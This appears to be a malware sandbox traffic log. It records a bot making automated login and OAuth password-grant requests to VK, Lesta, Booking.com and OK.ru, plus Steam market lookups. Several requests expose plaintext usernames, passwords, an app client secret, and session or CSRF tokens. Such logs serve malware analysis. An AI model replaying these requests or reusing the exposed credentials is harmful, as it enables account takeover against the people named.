Source: global traffic	HTTP traffic detected: POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1Host: account.booking.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36Content-Type: application/jsonContent-Length: 79User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Origin: https://account.booking.comReferer: https://account.booking.com/X-Booking-Client: apX-Requested-With: XMLHttpRequest
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 YaBrowser/20.9.3.136 Yowser/2.5 Safari/537.36accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrEpecD7HVl19ArcA1XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=78&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226947&ltv_c=11Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /market/search/render/?query=ibuypower%2Bflammable&start=0&count=1&search_descriptions=1&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=any&category_730_Quality[]=tag_normal&category_730_Quality[]=tag_strange&category_730_Rarity[]=tag_Rarity_Common_Weapon&category_730_Rarity[]=tag_Rarity_Rare_Weapon&category_730_Rarity[]=tag_Rarity_Uncommon_Weapon&category_730_Rarity[]=tag_Rarity_Mythical_Weapon&category_730_Rarity[]=tag_Rarity_Legendary_Weapon&category_730_Rarity[]=tag_Rarity_Ancient_Weapon HTTP/1.1Host: steamcommunity.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.185 YaBrowser/20.11.2.78 Yowser/2.5 Safari/537.36accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /market/search/render/?query=%22katowice%202014%22&start=0&count=1&search_descriptions=1&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=any&category_730_Quality[]=tag_normal&category_730_Quality[]=tag_strange&category_730_Rarity[]=tag_Rarity_Common_Weapon&category_730_Rarity[]=tag_Rarity_Rare_Weapon&category_730_Rarity[]=tag_Rarity_Uncommon_Weapon&category_730_Rarity[]=tag_Rarity_Mythical_Weapon&category_730_Rarity[]=tag_Rarity_Legendary_Weapon&category_730_Rarity[]=tag_Rarity_Ancient_Weapon HTTP/1.1Host: steamcommunity.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /oauth/token?2fa_supported=1&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&device_id=D67113GE-809F-3BFH-75E4-673A-GA9C150C74HI&external_device_id=499EI9FB-HG9D-BEGH-F939-5F2A-H3AA6G1G2BGF&grant_type=password&idfa=4FE19DEA-1BA5-3211-10FA-228F-898CDB0AH869&idfv=BB69EH7G-E6BD-959B-C0IF-844D-17A5F2I15BEE&libverify_support=1&password=monika&sak_version=1.60&scope=all&username=norrgard@gmail.com&v=5.131 HTTP/1.1Host: api.vk.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows; U; Windows NT 10.1; WOW64 Trident/5.0)Accept: /
Source: global traffic	HTTP traffic detected: POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1Host: account.booking.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36Content-Type: application/jsonContent-Length: 75User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Origin: https://account.booking.comReferer: https://account.booking.com/X-Booking-Client: apX-Requested-With: XMLHttpRequest
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Safari/537.36accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /market/search/render/?query=%22katowice%202014%22&start=0&count=1&search_descriptions=1&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=tag_set_community_2&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=tag_weapon_ak47&category_730_Exterior[]=tag_WearCategory2 HTTP/1.1Host: steamcommunity.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /trk/v1?prof=404&camp=7922&kct=google&kchid=3244738290&criteriaid=kwd-26354352&campaignid=20054591653&locphy=1016280&adgroupid=155357008064&adpos=&cid=656710651105&networkType=search&kdv=c&kext=&kadtype=&kmc=&kpid=&url=https://monitor.ppcprotect.com/v3.0/template?accid=16117&kw=botox&mt=p&nw=g&cpn=20054591653&devi=c&devm=&locp=1016280&loci=1016310&pl=&cr=656710651105&adp=&sadt=&url=https://www.laseraway.com/services/botox/?igaag=155357008064&igaat=&igacm=20054591653&igacr=656710651105&igakw=botox&igamt=p&igant=g&kenibpid=p.404._k_EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAMYASAAEgLNc_D_BwE_k_.&utm_source=kenshoo_google_botox&utm_medium=botox-pure_all-regions_phrase&utm_campaign=All-Regions-Botox_Exact-and-Phrase_CONVS__k_EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAMYASAAEgLNc_D_BwE_k_&st-t=google_&gad_source=1&gclid=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAMYASAAEgLNc_D_BwE HTTP/1.1Host: 3310.xg4ken.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:3.4) Goanna/20180412 PaleMoon/27.9.0accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: POST /id/signin/process/?type=captcha HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveCookie: wgni_language=ru; wgni_csrftoken=hrH2DxkldkxVrjd2SWLbbv38MxiszU0jNmYReftw14lCxitUkyTj6zK77TBGmCe3; wgni_sessionid=697p1m13tzdr9gxhxu56gmy18fl4mzauUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363Content-Length: 109Content-Type: application/x-www-form-urlencodedaccept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://lesta.ru/id/signin/x-csrftoken: hrH2DxkldkxVrjd2SWLbbv38MxiszU0jNmYReftw14lCxitUkyTj6zK77TBGmCe3x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.26 Safari/537.36 Core/1.63.5083.400 QQBrowser/10.0.972.400accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /id/sessionwidget/token/?response_type=token&client_id=common_menu&scope=openid&origin=https%3A%2F%2Flesta.ru HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveCookie: wgni_language=ru; wgni_csrftoken=hrH2DxkldkxVrjd2SWLbbv38MxiszU0jNmYReftw14lCxitUkyTj6zK77TBGmCe3; wgni_sessionid=697p1m13tzdr9gxhxu56gmy18fl4mzauUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Client/3.0.97/AuthCheck Safari/537.22
Source: global traffic	HTTP traffic detected: POST /dk?bk=GuestMain&st.cmd=main&_prevCmd=main&tkn=5928&_cl.id=1577974135245&_clickLog=%5B%7B%22target%22%3A%22sign_in%22%7D%2C%7B%22registrationContainer%22%3A%22home.login_form%22%7D%5D HTTP/1.1Host: m.ok.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36Content-Type: application/x-www-form-urlencodedContent-Length: 111Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brReferer: https://m.ok.ru/Origin: https://m.ok.ruUpgrade-Insecure-Requests: 1
Source: global traffic	HTTP traffic detected: GET /search?p=foamex+printed+boards&fr=sfp&fr2=&iscqry=&vc= HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /oauth/token?2fa_supported=1&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&device_id=14CE0A60-H643-DBEA-G5DF-9E56-ID031BB7BE9A&external_device_id=AE982GHG-F0BD-CCD7-3598-51EH-ECE8EC02H4GE&grant_type=password&idfa=3GEDI12G-0G8E-4233-5G7A-0F0C-78230B3D9F0B&idfv=6ACH12EH-4FBG-5A84-0391-FHG6-3F05H975A0D6&libverify_support=1&password=monika&sak_version=1.60&scope=all&username=norrgard@gmail.com&v=5.131 HTTP/1.1Host: api.vk.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; WOW64) Gecko/20130401 Firefox/53.9Accept: /
Source: global traffic	HTTP traffic detected: GET /consent?brandType=eu&gcrumb=Vh20Z64&lang=en-GB&done=https%3A%2F%2Fuk.search.yahoo.com%2Fsearch%3Fp%3Dfoamex%2Bprinted%2Bboards%26fr%3Dsfp%26fr2%3D%26iscqry%3D%26vc%3D HTTP/1.1Host: guce.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; GUCS=AVYdtGeuReferer: https://uk.search.yahoo.com/search?p=foamex+printed+boards&fr=sfp&fr2=&iscqry=&vc=Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /v2/collectConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9 HTTP/1.1Host: consent.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; GUCS=AVYdtGeuReferer: https://guce.yahoo.com/consent?brandType=eu&gcrumb=Vh20Z64&lang=en-GB&done=https%3A%2F%2Fuk.search.yahoo.com%2Fsearch%3Fp%3Dfoamex%2Bprinted%2Bboards%26fr%3Dsfp%26fr2%3D%26iscqry%3D%26vc%3DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 OPR/75.0.3969.149accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST /v2/collectConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9 HTTP/1.1Host: consent.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; GUCS=AVYdtGeuReferer: https://consent.yahoo.com/v2/collectConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Content-Length: 595Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: GET /copyConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9&lang=en-GB HTTP/1.1Host: guce.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; GUCS=AVYdtGeuReferer: https://consent.yahoo.com/v2/collectConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search?p=foamex+printed+boards&fr=sfp&fr2=&iscqry=&vc=&guccounter=1&guce_referrer=aHR0cHM6Ly91ay5zZWFyY2gueWFob28uY29tL3NlYXJjaD9wPWZvYW1leCtwcmludGVkK2JvYXJkcyZmcj1zZnAmZnIyPSZpc2Nxcnk9JnZjPQ&guce_referrer_sig=AQAAACnbVtezZBBL6fRZWkHTqstegNeLmC5rDVu_DtS343DMLriUTAg963vs6uVE2K4VUIQ3c5xXhIPaK2p9m1LG5wexewvnogEpKs65In71CZuvrkBi2M9e8nxQBslkVO9EMwb-xm6rv0-0Spq6Z9Gayo2ElKz6vy1v1ewDIxsq3X70 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAAReferer: https://guce.yahoo.com/copyConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9&lang=en-GBAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search?p=zoho+erp&fr=sfp&fr2=&iscqry=&vc= HTTP/1.1Host: be.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: POST /id/signin/process/?type=captcha HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveCookie: wgni_language=ru; wgni_csrftoken=Uzd9O7i3PoSGjz5SOfmhISfjkINqBQIR5k4sGnc5BYyHlQRBn2UEqUN2q4zqozLC; wgni_sessionid=z3w14cgwwin4xo7km4ey4iii2ewraunrUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36Content-Length: 112Content-Type: application/x-www-form-urlencodedaccept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://lesta.ru/id/signin/x-csrftoken: Uzd9O7i3PoSGjz5SOfmhISfjkINqBQIR5k4sGnc5BYyHlQRBn2UEqUN2q4zqozLCx-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFYE9n7HVlApUrPAxLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&fr=sfp&b=8&pz=7&pstart=8 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227047&ltv_c=1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /market/search/render/?query=&start=0&count=1&search_descriptions=0&sort_column=price&sort_dir=asc&appid=570&category_570_Hero[]=any&category_570_Slot[]=tag_head&category_570_Type[]=tag_wearable&category_570_Type[]=tag_wearable&category_570_Slot[]=tag_back&category_570_Slot[]=tag_weapon&category_570_Rarity[]=tag_Rarity_Arcana HTTP/1.1Host: steamcommunity.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /market/search/render/?query=&start=0&count=1&search_descriptions=0&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=any&category_730_Quality[]=tag_unusual&category_730_Quality[]=tag_unusual_strange HTTP/1.1Host: steamcommunity.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /oauth/token?2fa_supported=1&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&device_id=63F20983-DBF6-H9H0-1C69-D1E0-H3FFD14I718I&external_device_id=0IDF3EBI-6GD4-4430-6A1B-7HGE-IIIEH39906CB&grant_type=password&idfa=0DAHHCAE-GA5B-9840-85E3-0G2G-46455BCI2728&idfv=GAH47DC4-DDI5-HD18-5E08-C8DB-D8827089GF60&libverify_support=1&password=marina#7-&sak_version=1.60&scope=all&username=79186797085&v=5.131 HTTP/1.1Host: api.vk.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.5; WOW64; en-US) AppleWebKit/536.12 (KHTML, like Gecko) Chrome/50.0.2209.400 Safari/601.1 Edge/15.93446Accept: /
Source: global traffic	HTTP traffic detected: POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1Host: account.booking.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36Content-Type: application/jsonContent-Length: 76User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Origin: https://account.booking.comReferer: https://account.booking.com/X-Booking-Client: apX-Requested-With: XMLHttpRequest
